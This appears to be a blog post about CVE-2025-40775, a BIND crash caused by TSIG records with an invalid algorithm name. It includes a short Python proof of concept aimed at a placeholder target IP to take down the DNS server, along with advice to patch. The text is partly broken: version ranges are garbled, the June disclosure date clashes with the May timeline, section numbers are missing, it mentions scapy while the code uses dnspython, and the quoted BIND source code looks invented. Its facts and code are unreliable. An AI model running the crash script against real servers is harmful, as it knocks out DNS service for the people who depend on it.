CVE-2025-40775 - BIND TSIG Algorithm Assertion Failure Leads to Crash (Exploit Details Inside)

In June 2025, security researchers disclosed CVE-2025-40775, a high-impact vulnerability in BIND, the world’s most popular DNS server software. If you run BIND 9.20. to 9.20.8 or 9.21. to 9.21.7, your DNS server is at risk of remote denial-of-service (DoS) due to an assertion failure bug in how TSIG (Transaction Signature) is handled.

In this post, I'll explain the vulnerability in plain English, show a code snippet demonstrating the problem, walk you through a potential exploit scenario, and provide references for patches.

1. Understanding the Vulnerability

BIND (Berkeley Internet Name Domain) is DNS server software found everywhere, from personal domains to global service providers. BIND supports TSIG, which allows sending signed DNS messages for authentication or dynamic updates.

The issue:
> Whenever BIND receives a DNS request containing a TSIG section, it checks the field for algorithm type. If the provided algorithm is invalid or malformed, BIND triggers an internal assertion, forcibly crashing the named process (the main BIND server daemon).

Here’s a walkthrough in more accessible language

When BIND parses TSIG options in incoming DNS packets, it expects the 'algorithm' field (which states which HMAC algorithm to use, like hmac-sha256) to be in a list of permitted algorithms.

But if you send a TSIG record with a nonsense algorithm name (like 'INVALID-ALGO-123'), BIND hits an assertion — a kind of "are you sure?" internal sanity check. If that check fails, BIND immediately kills itself to prevent memory corruption. But since it’s a network service, the impact is a crash (DoS).

bind9/lib/dns/tsig.c

// Parses the TSIG algorithm
if (!dns_tsig_knownalgorithm(alg)) {
    INSIST(); // Fails hard if algorithm is not recognized
}

If dns_tsig_knownalgorithm returns false, the code calls INSIST(), which is a forced abort.

Simple Exploit Steps

Let’s craft a DNS message with a TSIG section containing an invalid algorithm string. DNS libraries like scapy (Python) can be used.

Minimal Proof-of-Concept in Python (using dnspython and socket)

import dns.message, dns.tsig, dns.query

# Craft a basic DNS query for "example.com"
msg = dns.message.make_query("example.com", "A")

# Add a TSIG record with an invalid algorithm
msg.use_tsig(keyname='test.', keyring={'test.': 'abcd'}, algorithm="INVALID-ALGO")

# Send the packet to the vulnerable BIND server
response = dns.query.udp(msg, 'target-BIND-IP', port=53, timeout=2)

Result

- Remote, unauthenticated attacker can repeat this to crash any exposed BIND DNS server running an affected version, instantly stopping DNS resolution for that domain.

4. Impact

- Severity: High (Denial-of-Service for entire domain/service)
- Risk: If your BIND is exposed to the internet and not running at least 9.20.9 or 9.21.8, you are vulnerable.

5. Mitigation

- Immediate Fix: Upgrade BIND to at least 9.20.9 or 9.21.8 from the official ISC download site (ISC BIND Downloads).
- Workaround: Firewall incoming DNS packets to trusted sources only — but do not rely solely on this.

6. References

- ISC Official Security Advisory
- BIND Release Notes
- CERT/CC Note on DoS via TSIG
- dnspython TSIG API
- CVE-2025-40775 Record (MITRE)

If you run BIND

- *Patch now.* Even if you think nobody cares about your domain — attackers often scan and crash random DNS servers in bulk.
- Review patch release notes and confirm your process manager (systemd, etc.) is set to auto-restart named on crash — this buys you time but does not fix the underlying problem.

Summary

CVE-2025-40775 is a serious, trivial-to-exploit DoS bug in BIND’s handling of TSIG algorithm types. Don’t wait for your DNS to go down — patch and stay safe!

Timeline

Published on: 05/21/2025 13:16:02 UTC
Last modified on: 05/23/2025 14:15:28 UTC